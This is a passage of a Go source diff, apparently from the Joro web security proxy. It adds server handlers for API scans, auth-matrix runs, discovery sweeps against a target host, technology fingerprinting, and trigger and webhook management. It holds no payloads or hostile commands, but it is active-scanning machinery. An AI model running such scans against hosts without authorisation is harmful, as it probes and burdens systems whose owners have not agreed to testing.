fmt.Sprintf("%d profiles exceeds the limit of %d", len(req.Profiles), apiscan.MaxProfiles))
return
}
profiles := make([]apiscan.Profile, 0, len(req.Profiles))
for i, p := range req.Profiles {
id := p.ID
if id == "" {
id = fmt.Sprintf("p%d", i)
}
profiles = append(profiles, apiscan.Profile{
ID: id, Label: p.Label, Rank: p.Rank,
Auth: apispec.Auth{Credentials: p.Credentials, Headers: p.Headers, Cookies: p.Cookies},
})
}
s.specStore.SetProfiles(req.SpecID, profiles)
writeJSON(w, http.StatusOK, map[string]any{"count": len(profiles)})
}
// handleSpecListProfiles returns profile identity only.
//
// A credential never comes back out. Token create and rotate are the only
// responses in this API that carry a plaintext secret, and an auth profile is
// not one of them.
func (s *APIServer) handleSpecListProfiles(w http.ResponseWriter, r *http.Request) {
specID := r.URL.Query().Get("specId")
type summary struct {
ID string `json:"id"`
Label string `json:"label"`
Rank int `json:"rank"`
Kinds []string `json:"kinds"`
HasValue bool `json:"hasValue"`
Headers int `json:"headers"`
}
profiles := s.specStore.Profiles(specID)
out := make([]summary, 0, len(profiles))
for _, p := range profiles {
sum := summary{ID: p.ID, Label: p.Label, Rank: p.Rank, Headers: len(p.Auth.Headers), Kinds: []string{}}
for _, c := range p.Auth.Credentials {
sum.Kinds = append(sum.Kinds, string(c.Kind))
if c.Value != "" || c.Password != "" {
sum.HasValue = true
}
}
out = append(out, sum)
}
writeJSON(w, http.StatusOK, map[string]any{"profiles": out})
}
// resolveOperation finds the operation and server a request names.
func (s *APIServer) resolveOperation(req specRenderRequest) (*apispec.Operation, apispec.Server, error) {
op, srv, err := s.resolveOperationServer(req)
if err != nil {
return nil, apispec.Server{}, err
}
if op == nil {
return nil, apispec.Server{}, fmt.Errorf("no operation %q in that document", req.OperationID)
}
return op, srv, nil
}
func (s *APIServer) resolveOperationServer(req specRenderRequest) (*apispec.Operation, apispec.Server, error) {
stored := s.specStore.Get(req.SpecID)
if stored == nil {
return nil, apispec.Server{}, fmt.Errorf("no such document")
}
var op *apispec.Operation
for i := range stored.Spec.Operations {
if stored.Spec.Operations[i].ID == req.OperationID {
op = &stored.Spec.Operations[i]
break
}
}
srv := apispec.Server{}
idx := 0
if req.ServerIndex != nil {
idx = *req.ServerIndex
}
if idx >= 0 && idx < len(stored.Spec.Servers) {
srv = stored.Spec.Servers[idx]
}
// An operation or its path item may override the document's server, which is
// how a gateway document addresses several backing services. Honor it only
// when the operator has not named a host themselves.
if op != nil && len(op.Servers) > 0 && req.Host == "" {
srv = op.Servers[0]
}
// An explicit scheme/host from the operator always wins: a document may
// declare none, declare several, or declare one that is wrong.
if req.Scheme != "" {
srv.Scheme = req.Scheme
}
if req.Host != "" {
srv.Host = req.Host
}
if req.BasePath != nil {
srv.BasePath = *req.BasePath
}
if srv.Host == "" {
return op, srv, fmt.Errorf("no target host: the document declares no server, so one must be supplied")
}
return op, srv, nil
}
// authForProfile returns what a named profile contributes, or nothing.
func (s *APIServer) authForProfile(specID, profileID string) apispec.Auth {
if profileID == "" {
return apispec.Auth{}
}
for _, p := range s.specStore.Profiles(specID) {
if p.ID == profileID {
return p.Auth
}
}
return apispec.Auth{}
}
// specSendDeps assembles what a send needs. Claims is left nil here: these are
// single sends. A run fills in its own.
func (s *APIServer) specSendDeps() httptools.SendDeps {
return httptools.SendDeps{
ProxyAddr: fmt.Sprintf("%s:%d", s.cfg.BindAddr, s.cfg.ProxyPort),
CA: s.ca,
Store: s.store,
}
}
// stripHTTPHeaders removes a leading HTTP message header block, so a captured
// response can be loaded as a document directly. A body that is not an HTTP
// message is returned unchanged.
func stripHTTPHeaders(raw []byte) []byte {
if !strings.HasPrefix(string(peek(raw, 16)), "HTTP/") {
return raw
}
if i := strings.Index(string(raw), "\r\n\r\n"); i >= 0 {
return raw[i+4:]
}
if i := strings.Index(string(raw), "\n\n"); i >= 0 {
return raw[i+2:]
}
return raw
}
func contentTypeOf(raw []byte) string {
head := string(peek(raw, 8192))
for _, line := range strings.Split(head, "\n") {
if name, value, ok := strings.Cut(line, ":"); ok &&
strings.EqualFold(strings.TrimSpace(name), "content-type") {
return strings.TrimSpace(value)
}
}
return ""
}
func peek(b []byte, n int) []byte {
if len(b) < n {
return b
}
return b[:n]
}
// maxSpecFetchBytes bounds a proxied document fetch. Larger than the default
// send cap because the body here is the product, not a fingerprint: GitHub's
// description document is 13 MB and Stripe's 3.7 MB, and the 2 MB default
// truncated both into a parse error that blamed the document.
const maxSpecFetchBytes = 16 << 20
// omitSet turns the wire's list into the set Render wants.
func omitSet(keys []string) map[string]bool {
if len(keys) == 0 {
return nil
}
out := make(map[string]bool, len(keys))
for _, k := range keys {
out[k] = true
}
return out
}
+411
View File
@@ -0,0 +1,411 @@
package api
import (
"context"
"encoding/base64"
"fmt"
"net/http"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/apiscan"
"github.com/BishopFox/joro/internal/apispec"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/proxy"
)
// specScanRequest starts a scan or an auth matrix. The two differ only in how
// many profiles are named — a scan is a matrix with one.
type specScanRequest struct {
SpecID string `json:"specId"`
OperationIDs []string `json:"operationIds"`
ProfileIDs []string `json:"profileIds"`
ServerIndex *int `json:"serverIndex,omitempty"`
Scheme string `json:"scheme,omitempty"`
Host string `json:"host,omitempty"`
BasePath *string `json:"basePath,omitempty"`
Values map[string]map[string]string `json:"values,omitempty"` // opID -> values
Concurrency int `json:"concurrency"`
RatePerSec float64 `json:"ratePerSec"`
TimeoutMs int `json:"timeoutMs"`
BudgetMs int `json:"budgetMs"`
UserAgent string `json:"userAgent"`
AllowDestructive bool `json:"allowDestructive"`
Methods []string `json:"methods,omitempty"`
}
func (s *APIServer) handleSpecScanStart(w http.ResponseWriter, r *http.Request) {
var req specScanRequest
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
stored := s.specStore.Get(req.SpecID)
if stored == nil {
writeError(w, http.StatusNotFound, "no such document")
return
}
ops := selectOperations(stored.Spec, req.OperationIDs)
if len(ops) == 0 {
writeError(w, http.StatusBadRequest, "no operations selected")
return
}
profiles, err := s.selectProfiles(req.SpecID, req.ProfileIDs)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
srv := serverFor(stored.Spec, req.ServerIndex, req.Scheme, req.Host, req.BasePath)
if srv.Host == "" {
writeError(w, http.StatusBadRequest,
"no target host: the document declares no server, so scheme and host must be supplied")
return
}
kind := apiscan.KindScan
if len(profiles) > 1 {
kind = apiscan.KindMatrix
}
values := map[string]apispec.Values{}
for opID, v := range req.Values {
values[opID] = apispec.Values(v)
}
cfg := apiscan.Config{
Kind: kind, SpecID: req.SpecID, Server: srv, Ops: ops, Profiles: profiles, Values: values,
Concurrency: req.Concurrency, RatePerSec: req.RatePerSec,
TimeoutMs: req.TimeoutMs, BudgetMs: req.BudgetMs, UserAgent: req.UserAgent,
AllowDestructive: req.AllowDestructive, Methods: normalizeMethods(req.Methods),
}
total, err := apiscan.Plan(cfg)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
run := apiscan.NewRun(proxy.GenerateID(), cfg, total)
s.specRuns.Add(run)
deps := apiscan.Deps{Send: s.specSendDeps(), Broadcast: s.hub.Broadcast()}
go apiscan.Execute(context.Background(), run, deps)
writeJSON(w, http.StatusCreated, map[string]any{
"runId": run.ID, "kind": string(kind), "total": total,
"warnings": s.runWarnings(total),
})
}
// specDiscoverRequest starts a document sweep against a host.
type specDiscoverRequest struct {
Scheme string `json:"scheme"`
Host string `json:"host"`
BasePath string `json:"basePath"`
Full bool `json:"full"`
StopOnFirst bool `json:"stopOnFirst"`
Concurrency int `json:"concurrency"`
RatePerSec float64 `json:"ratePerSec"`
TimeoutMs int `json:"timeoutMs"`
BudgetMs int `json:"budgetMs"`
UserAgent string `json:"userAgent"`
}
func (s *APIServer) handleSpecDiscoverStart(w http.ResponseWriter, r *http.Request) {
var req specDiscoverRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
set := apispec.CandidatePriority
if req.Full {
set = apispec.CandidateFull
}
cfg := apiscan.Config{
Kind: apiscan.KindDiscovery, Scheme: strings.ToLower(req.Scheme), Host: req.Host,
BasePath: req.BasePath, CandidateSet: set, StopOnFirst: req.StopOnFirst,
Concurrency: req.Concurrency, RatePerSec: req.RatePerSec,
TimeoutMs: req.TimeoutMs, BudgetMs: req.BudgetMs, UserAgent: req.UserAgent,
}
if cfg.Scheme == "" {
cfg.Scheme = "https"
}
paths, err := apiscan.PlanDiscovery(cfg)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
run := apiscan.NewRun(proxy.GenerateID(), cfg, len(paths))
s.specRuns.Add(run)
deps := apiscan.Deps{Send: s.specSendDeps(), Broadcast: s.hub.Broadcast()}
// A document found mid-sweep is loaded straight into the store, so the
// operator can switch to it without a second fetch.
//
// Only when it is not already held. A sweep parses with default placeholders,
// so re-finding bytes the operator has since set a placeholder on would
// silently revert their parse under the same ID. If it is already stored,
// switching to it already works, which is all this Put was for.
onSpec := func(spec *apispec.Spec, source []byte) {
if s.specStore.Get(spec.ID) == nil {
s.specStore.Put(spec, source)
}
s.hub.Broadcast() <- event.WSEvent{Type: "spec.run.found", Data: map[string]any{
"runId": run.ID, "specId": spec.ID, "title": spec.Title,
"format": string(spec.Format), "operations": len(spec.Operations),
"sourceUrl": spec.SourceURL,
}}
}
go apiscan.Discover(context.Background(), run, paths, deps, onSpec)
writeJSON(w, http.StatusCreated, map[string]any{
"runId": run.ID, "kind": string(apiscan.KindDiscovery), "total": len(paths),
"warnings": s.runWarnings(len(paths)),
})
}
func (s *APIServer) handleSpecListRuns(w http.ResponseWriter, r *http.Request) {
runs := s.specRuns.List()
out := make([]map[string]any, 0, len(runs))
for _, run := range runs {
completed, errs, skipped, hits := run.Counts()
out = append(out, map[string]any{
"id": run.ID, "kind": string(run.Kind), "specId": run.SpecID,
"status": string(run.Status()), "total": run.Total,
"completed": completed, "errors": errs, "skipped": skipped, "hits": hits,
"createdAt": run.CreatedAt,
})
}
writeJSON(w, http.StatusOK, map[string]any{"runs": out})
}
func (s *APIServer) handleSpecGetRun(w http.ResponseWriter, r *http.Request) {
run := s.specRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
results := run.Results()
offset, limit := pageParams(r, len(results))
// Materialized, never nil: a nil slice marshals as null against a client type
// that says array. See apispec.Spec.normalize.
page := []apiscan.Result{}
if offset < len(results) {
end := min(offset+limit, len(results))
page = results[offset:end]
}
completed, errs, skipped, hits := run.Counts()
writeJSON(w, http.StatusOK, map[string]any{
"id": run.ID, "kind": string(run.Kind), "specId": run.SpecID,
"status": string(run.Status()), "total": run.Total,
"completed": completed, "errors": errs, "skipped": skipped, "hits": hits,
"createdAt": run.CreatedAt,
"results": page, "resultTotal": len(results), "offset": offset, "limit": limit,
})
}
func (s *APIServer) handleSpecGetMatrix(w http.ResponseWriter, r *http.Request) {
run := s.specRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if run.Kind == apiscan.KindDiscovery {
writeError(w, http.StatusBadRequest, "a discovery run has no auth matrix")
return
}
writeJSON(w, http.StatusOK, apiscan.Matrix(run))
}
// handleSpecGetResult returns one result including its raw bytes, fetched on
// demand rather than streamed, as the fuzzer's detail endpoint is.
func (s *APIServer) handleSpecGetResult(w http.ResponseWriter, r *http.Request) {
run := s.specRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
idx, err := strconv.Atoi(r.PathValue("index"))
if err != nil {
writeError(w, http.StatusBadRequest, "index must be a number")
return
}
res, ok := run.ResultAt(idx)
if !ok {
writeError(w, http.StatusNotFound, "no such result")
return
}
writeJSON(w, http.StatusOK, map[string]any{
"result": stripRaw(res),
"reqRaw": base64.StdEncoding.EncodeToString(res.ReqRaw),
"respRaw": base64.StdEncoding.EncodeToString(res.RespRaw),
})
}
func (s *APIServer) handleSpecStopRun(w http.ResponseWriter, r *http.Request) {
run := s.specRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if !run.Stop() {
writeError(w, http.StatusConflict, "run is not running")
return
}
writeJSON(w, http.StatusOK, map[string]any{"stopped": true})
}
func (s *APIServer) handleSpecDeleteRun(w http.ResponseWriter, r *http.Request) {
run := s.specRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if run.Status() == apiscan.StatusRunning {
writeError(w, http.StatusConflict, "stop the run before deleting it")
return
}
s.specRuns.Delete(run.ID)
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
}
// runWarnings reports conditions the operator should know about before a run
// rather than discover during one.
func (s *APIServer) runWarnings(total int) []string {
out := []string{}
// Every send goes through Joro's own proxy, so an armed intercept pauses each
// one in the operator's queue. At scan volumes that is not a small surprise.
if s.settings.InterceptEnabled {
out = append(out, fmt.Sprintf(
"request intercept is armed, so all %d requests will pause in the Intercept queue", total))
}
if total > 500 {
out = append(out, fmt.Sprintf(
"%d requests will be captured into History, which may evict older traffic from the capture buffer", total))
}
return out
}
func stripRaw(res apiscan.Result) apiscan.Result {
res.ReqRaw, res.RespRaw = nil, nil
return res
}
// selectOperations picks the named operations, preserving document order so a
// results table reads the way the tree does. An empty list means all of them.
func selectOperations(spec *apispec.Spec, ids []string) []apispec.Operation {
if len(ids) == 0 {
out := make([]apispec.Operation, len(spec.Operations))
copy(out, spec.Operations)
return out
}
want := make(map[string]bool, len(ids))
for _, id := range ids {
want[id] = true
}
var out []apispec.Operation
for _, op := range spec.Operations {
if want[op.ID] {
out = append(out, op)
}
}
return out
}
// selectProfiles resolves the named profiles.
//
// Asking for nothing falls back to one unauthenticated profile, which is what
// makes a plain scan a matrix with one profile rather than a separate code path.
// Asking for profiles that do not resolve must not reach that fallback: ids are
// renumbered on re-save, so a stale request is ordinary, and running a
// credentialed matrix anonymously reports every reachable endpoint as open.
func (s *APIServer) selectProfiles(specID string, ids []string) ([]apiscan.Profile, error) {
all := s.specStore.Profiles(specID)
if len(ids) == 0 {
if len(all) == 0 {
return []apiscan.Profile{{ID: "none", Label: "unauthenticated", Rank: 0}}, nil
}
return all, nil
}
want := make(map[string]bool, len(ids))
for _, id := range ids {
want[id] = true
}
var out []apiscan.Profile
for _, p := range all {
if want[p.ID] {
out = append(out, p)
}
}
if len(out) == 0 {
return nil, fmt.Errorf("none of the requested auth profiles exist on this document; re-pick them")
}
if len(out) < len(ids) {
return nil, fmt.Errorf("%d of the %d requested auth profiles no longer exist on this document; re-pick them",
len(ids)-len(out), len(ids))
}
return out, nil
}
func serverFor(spec *apispec.Spec, index *int, scheme, host string, basePath *string) apispec.Server {
srv := apispec.Server{}
idx := 0
if index != nil {
idx = *index
}
if idx >= 0 && idx < len(spec.Servers) {
srv = spec.Servers[idx]
}
if scheme != "" {
srv.Scheme = scheme
}
if host != "" {
srv.Host = host
}
if basePath != nil {
srv.BasePath = *basePath
}
return srv
}
// normalizeMethods upper-cases a supplied whitelist. An empty one leaves the
// default, which excludes DELETE and PATCH.
func normalizeMethods(methods []string) []string {
if len(methods) == 0 {
return nil
}
out := make([]string, 0, len(methods))
for _, m := range methods {
if m = strings.ToUpper(strings.TrimSpace(m)); m != "" {
out = append(out, m)
}
}
return out
}
func pageParams(r *http.Request, total int) (offset, limit int) {
limit = 500
if v := r.URL.Query().Get("limit"); v != "" {
if n, err := strconv.Atoi(v); err == nil && n > 0 && n <= 5000 {
limit = n
}
}
if v := r.URL.Query().Get("offset"); v != "" {
if n, err := strconv.Atoi(v); err == nil && n >= 0 {
offset = n
}
}
return offset, limit
}
+37
View File
@@ -6,7 +6,9 @@ import (
"os"
"time"
"github.com/BishopFox/joro/internal/browser"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/plugins"
"github.com/BishopFox/joro/internal/update"
)
@@ -30,6 +32,33 @@ func (s *APIServer) handleSystemInfo(w http.ResponseWriter, r *http.Request) {
})
}
// handleHealthCheck reports the state the first-run wizard polls: proxy/UI
// addressing, CA presence, whether a launchable browser is installed, and the
// number of captured requests (used to confirm live traffic is flowing).
func (s *APIServer) handleHealthCheck(w http.ResponseWriter, r *http.Request) {
_, browserName, browserAvailable := browser.Find()
s.mu.RLock()
activeProject := s.activeProjectConfig
s.mu.RUnlock()
requestCount := 0
if s.store != nil {
requestCount = s.store.Count()
}
writeJSON(w, http.StatusOK, map[string]any{
"proxyPort": s.cfg.ProxyPort,
"uiPort": s.cfg.UIPort,
"bindAddr": s.cfg.BindAddr,
"caPresent": s.ca != nil,
"browserAvailable": browserAvailable,
"browserName": browserName,
"requestCount": requestCount,
"activeProject": activeProject,
})
}
func (s *APIServer) handleVersionInfo(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
info := s.buildInfo
@@ -107,6 +136,14 @@ func (s *APIServer) handleUpdate(w http.ResponseWriter, r *http.Request) {
return
}
// The new binary will not load plugins the old one built. Say so while the
// banner is still on screen; after the restart it is a row in Settings.
if s.pluginManager != nil {
if notice := plugins.RebuildNotice(s.pluginManager.PluginDir()); notice != "" {
progress(notice)
}
}
s.hub.Broadcast() <- event.WSEvent{
Type: "system.update.restarting",
Data: map[string]string{},
+5 -5
View File
@@ -98,8 +98,8 @@ var validPresenceStatus = map[string]bool{"online": true, "away": true, "dnd": t
func (s *APIServer) handleTeamPresence(w http.ResponseWriter, r *http.Request) {
var body struct {
Status string `json:"status"`
ProjectID string `json:"projectId"`
Status string `json:"status"`
Project string `json:"project"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
@@ -109,7 +109,7 @@ func (s *APIServer) handleTeamPresence(w http.ResponseWriter, r *http.Request) {
body.Status = "online"
}
nickname := team.NicknameFromContext(r.Context())
s.hub.SetPresenceMeta(nickname, body.Status, body.ProjectID)
s.hub.SetPresenceMeta(nickname, body.Status, body.Project)
writeJSON(w, http.StatusOK, map[string]string{"status": "ok"})
}
@@ -420,7 +420,7 @@ func (s *APIServer) handleListSharedConfigs(w http.ResponseWriter, r *http.Reque
func (s *APIServer) handleCreateSharedConfig(w http.ResponseWriter, r *http.Request) {
var body struct {
Name string `json:"name"`
ProjectID string `json:"projectId"`
ProjectID string `json:"project"`
Config string `json:"config"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
@@ -485,7 +485,7 @@ func (s *APIServer) handleDeleteSharedConfig(w http.ResponseWriter, r *http.Requ
func (s *APIServer) handleCreateCollab(w http.ResponseWriter, r *http.Request) {
var body struct {
ProjectID string `json:"projectId"`
ProjectID string `json:"project"`
Note string `json:"note"`
Config string `json:"config"`
}
+110
View File
@@ -0,0 +1,110 @@
package api
import (
"net/http"
"github.com/BishopFox/joro/internal/techfp"
)
// techStore returns the fingerprint store, or nil when fingerprinting is not
// wired (listener/team-server mode). The active-scan rule reads it to gate checks.
func (s *APIServer) techStore() *techfp.Store {
if s.techEngine == nil {
return nil
}
return s.techEngine.Store()
}
// techAvailable rejects requests when fingerprinting is not wired, as in listener
// and team-server mode. The routes are also behind the proxy-mode gate in
// registerRoutes.
func (s *APIServer) techAvailable(w http.ResponseWriter) bool {
if s.techEngine == nil {
writeError(w, http.StatusNotFound, "technology fingerprinting is unavailable in this mode")
return false
}
return true
}
// handleListTechHosts returns every fingerprinted host and the summary counts.
func (s *APIServer) handleListTechHosts(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
hosts, techs := s.techEngine.Store().Summary()
writeJSON(w, http.StatusOK, map[string]any{
"enabled": s.techEngine.Enabled(),
"hosts": s.techEngine.Store().Hosts(),
"summary": map[string]int{"hosts": hosts, "techs": techs},
"scan": s.techEngine.Status(),
})
}
// handleStartTechScan re-fingerprints captured history (all hosts, or one when
// scope is "host"). Backfills a loaded project's hosts, which the live cursor skips.
func (s *APIServer) handleStartTechScan(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
var req techfp.RescanRequest
if err := decodeJSONOptional(r, &req, maxJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
status, err := s.techEngine.StartRescan(s.detectBackgroundCtx(), req)
if err == techfp.ErrScanRunning {
writeError(w, http.StatusConflict, err.Error())
return
}
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, status)
}
// handleGetTechScan returns the current rescan status.
func (s *APIServer) handleGetTechScan(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
writeJSON(w, http.StatusOK, s.techEngine.Status())
}
// handleCancelTechScan stops a running rescan.
func (s *APIServer) handleCancelTechScan(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
s.techEngine.Cancel()
writeJSON(w, http.StatusOK, s.techEngine.Status())
}
// handleGetTechHost returns one host's technology set.
func (s *APIServer) handleGetTechHost(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
ht, ok := s.techEngine.Store().Host(r.PathValue("host"))
if !ok {
writeError(w, http.StatusNotFound, "no technologies recorded for this host")
return
}
writeJSON(w, http.StatusOK, ht)
}
// handleSetTechEnabled toggles passive fingerprinting.
func (s *APIServer) handleSetTechEnabled(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.techEngine.SetEnabled(body.Enabled)
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
+267
View File
@@ -0,0 +1,267 @@
package api
import (
"errors"
"fmt"
"net/http"
"sort"
"github.com/BishopFox/joro/internal/jsautomation"
"github.com/BishopFox/joro/internal/trigger"
)
// The trigger control plane.
//
// UI-only, like the rest of /automation/*, and that matters more here than it looks. No
// capability manages triggers and capreg.Deps holds no trigger store: a token that could
// author one could arm a run against traffic it is not otherwise permitted to reach, and
// Deps is the documented place where that kind of authority leaks in — internal/automation
// is not an import cycle, so the compiler would not catch it.
// requireTriggers reports whether the custom trigger store is available, writing the JSON
// 404 if not.
//
// Absent means the file could not be read at startup, which is deliberately fatal for the
// feature rather than silently empty: an empty store would make every automation
// referencing a custom trigger read as unreferenced and start firing on its raw event.
//
// It does not gate on automation. A trigger is a shared named object with two consumers now,
// and a webhook is available with no automation flag at all — routing this through
// requireAutomations would leave the webhook editor unable to list the triggers it references.
// Nothing about the trust story changes: these routes stay UI-only, and no capability reaches
// them either way.
func (s *APIServer) requireTriggers(w http.ResponseWriter) *trigger.Store {
if s.triggers == nil {
writeError(w, http.StatusNotFound,
"custom triggers are unavailable on this instance; see the startup log for why "+
"~/.joro/triggers.json could not be read")
return nil
}
return s.triggers
}
// triggerRow is one row of the list: the trigger, plus what it would break.
type triggerRow struct {
trigger.Trigger
// UsedBy names the automations referencing this trigger. Sent for every row because
// the list is where an operator decides whether to edit one, and editing a shared
// trigger changes every automation in this field.
UsedBy []string `json:"usedBy"`
}
func (s *APIServer) handleListTriggers(w http.ResponseWriter, r *http.Request) {
store := s.requireTriggers(w)
if store == nil {
return
}
all := store.All()
rows := make([]triggerRow, 0, len(all))
for _, t := range all {
rows = append(rows, triggerRow{Trigger: t, UsedBy: s.triggerUsedBy(t.ID)})
}
writeJSON(w, http.StatusOK, map[string]any{
"triggers": rows,
// The condition vocabulary: which fields each event carries and the operators each
// takes. Served rather than restated in the frontend, for the reason the command
// vocabulary is — a field added in Go appears in the canvas's selects with no
// client change, and the client can never offer a pairing the server would refuse.
// An event absent from the map carries nothing to test.
"fields": trigger.Fields(),
"limits": trigger.GraphLimits(),
"ops": trigger.Ops(),
"nodeTypes": trigger.NodeTypes,
"events": trigger.Events,
})
}
// triggerUsedBy names everything referencing a trigger: automations and webhooks both.
//
// The union, not just the automations. A trigger is shared, and deleting one out from under a
// webhook fails safe — a dangling reference never fires — but silently, which is the failure
// internal/trigger is arranged to make loud. Missing a consumer here is what would make it
// quiet again.
//
// Read from both sets on every call rather than kept as an index: they are small, this is an
// operator-paced endpoint, and an index would be a second copy of the truth that could
// disagree about what is actually referenced.
func (s *APIServer) triggerUsedBy(id string) []string {
out := []string{}
if s.scriptManager != nil && s.scriptManager.Packages() != nil {
for _, a := range s.scriptManager.Packages().List() {
for _, ref := range a.Manifest.Triggers {
if string(ref) == id {
out = append(out, a.Manifest.Name)
break
}
}
}
}
out = append(out, s.webhooks.UsedBy(id)...)
sort.Strings(out)
return out
}
func (s *APIServer) handleGetTrigger(w http.ResponseWriter, r *http.Request) {
store := s.requireTriggers(w)
if store == nil {
return
}
id := r.PathValue("id")
// A built-in resolves too, so the editor can open one read-only and clone it without
// having to know which kind it is looking at before it asks.
t, err := store.Resolve(id)
if err != nil {
writeTriggerError(w, err)
return
}
writeJSON(w, http.StatusOK, triggerRow{Trigger: t, UsedBy: s.triggerUsedBy(id)})
}
func (s *APIServer) handleCreateTrigger(w http.ResponseWriter, r *http.Request) {
store := s.requireTriggers(w)
if store == nil {
return
}
var body trigger.Trigger
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
created, err := store.Create(body)
if err != nil {
writeTriggerError(w, err)
return
}
// The dispatcher caches compiled triggers and reloads on the store's revision, which
// has just moved; waking it means an operator who saves and then browses does not wait
// out a tick to see it fire.
s.scriptTriggers.Wake()
writeJSON(w, http.StatusOK, triggerRow{Trigger: created, UsedBy: []string{}})
}
func (s *APIServer) handleUpdateTrigger(w http.ResponseWriter, r *http.Request) {
store := s.requireTriggers(w)
if store == nil {
return
}
id := r.PathValue("id")
if trigger.IsBuiltin(id) {
writeError(w, http.StatusBadRequest,
fmt.Sprintf("%q is a built-in trigger and cannot be edited; clone it to a custom one", id))
return
}
var body trigger.Trigger
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
updated, err := store.Update(id, body)
if err != nil {
writeTriggerError(w, err)
return
}
s.scriptTriggers.Wake()
writeJSON(w, http.StatusOK, triggerRow{Trigger: updated, UsedBy: s.triggerUsedBy(id)})
}
func (s *APIServer) handleDeleteTrigger(w http.ResponseWriter, r *http.Request) {
store := s.requireTriggers(w)
if store == nil {
return
}
id := r.PathValue("id")
if trigger.IsBuiltin(id) {
writeError(w, http.StatusBadRequest,
fmt.Sprintf("%q is a built-in trigger and cannot be deleted", id))
return
}
// Refused while anything references it, rather than deleted and left to fail closed at
// dispatch. Both are safe — a dangling reference never fires — but only one of them
// tells the operator now, while they are looking at the thing they were about to break.
if err := store.Delete(id, s.triggerUsedBy(id)); err != nil {
writeTriggerError(w, err)
return
}
s.scriptTriggers.Wake()
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
}
// handleTestTrigger dry-runs a trigger against recent traffic.
//
// It takes a whole trigger rather than an id on purpose: the operator is testing something
// they have not saved yet, and requiring a save first would make the try-it step cost a
// stored — and therefore referenceable — trigger. Nothing is stored and nothing is run.
//
// The response is a 200 carrying valid:false for a graph that will not compile. The request
// was well-formed and the answer is about the graph, which is what the canvas renders
// either way — a 400 would make the editor treat an ordinary bad regex as a failed call.
func (s *APIServer) handleTestTrigger(w http.ResponseWriter, r *http.Request) {
if s.requireTriggers(w) == nil {
return
}
var body struct {
trigger.Trigger
Limit int `json:"limit"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// A draft has no id yet and does not need one to be tested, so stand one in rather
// than reject it: Validate checks identity as well as shape, and the operator is
// asking about the shape.
if body.ID == "" {
body.ID = "draft"
}
writeJSON(w, http.StatusOK, trigger.Test(s.store, body.Trigger, body.Limit))
}
// handleSeedTrigger returns the graph a new trigger starts from.
//
// Served rather than built in the client so the starting point cannot drift from what the
// server will accept — a seed that failed Validate would open the canvas on an error.
func (s *APIServer) handleSeedTrigger(w http.ResponseWriter, r *http.Request) {
if s.requireTriggers(w) == nil {
return
}
on := r.URL.Query().Get("on")
if !trigger.Dispatched(on) {
writeError(w, http.StatusBadRequest,
fmt.Sprintf("%q is not an event a trigger can watch", on))
return
}
writeJSON(w, http.StatusOK, trigger.Trigger{On: on, Graph: trigger.SeedGraph(on)})
}
func writeTriggerError(w http.ResponseWriter, err error) {
switch {
case errors.Is(err, trigger.ErrNotFound):
writeError(w, http.StatusNotFound, "no such trigger")
case errors.Is(err, trigger.ErrExists), errors.Is(err, trigger.ErrInUse):
writeError(w, http.StatusConflict, err.Error())
default:
writeError(w, http.StatusBadRequest, err.Error())
}
}
// triggerRefsFor lists the custom triggers an automation references, for the export
// bundle. A package that names one is not closed over any more, so what it names has to
// travel with it.
func (s *APIServer) triggerRefsFor(m jsautomation.Manifest) []trigger.Trigger {
out := []trigger.Trigger{}
if s.triggers == nil {
return out
}
for _, ref := range m.Triggers {
if trigger.IsBuiltin(string(ref)) {
continue
}
if t, err := s.triggers.Get(string(ref)); err == nil {
out = append(out, t)
}
}
return out
}
+270
View File
@@ -0,0 +1,270 @@
package api
import (
"context"
"errors"
"net/http"
"time"
"github.com/BishopFox/joro/internal/trigger"
"github.com/BishopFox/joro/internal/webhook"
)
// The webhook control plane.
//
// UI-only, like the token and trigger planes, and here that is the load-bearing half of the
// feature rather than a convention. A webhook is an egress channel; creating one is deciding
// where Joro's bytes may go, which is administration for it. capreg.Deps holds no webhook
// store — only the fire-only interface — and an automation client reaches Joro on the MCP
// port, whose mux has no /api/v1/* routes at all. Between them there is no path from a token
// to this block.
//
// Secrets go out empty and come back empty. The store carries forward what the client did not
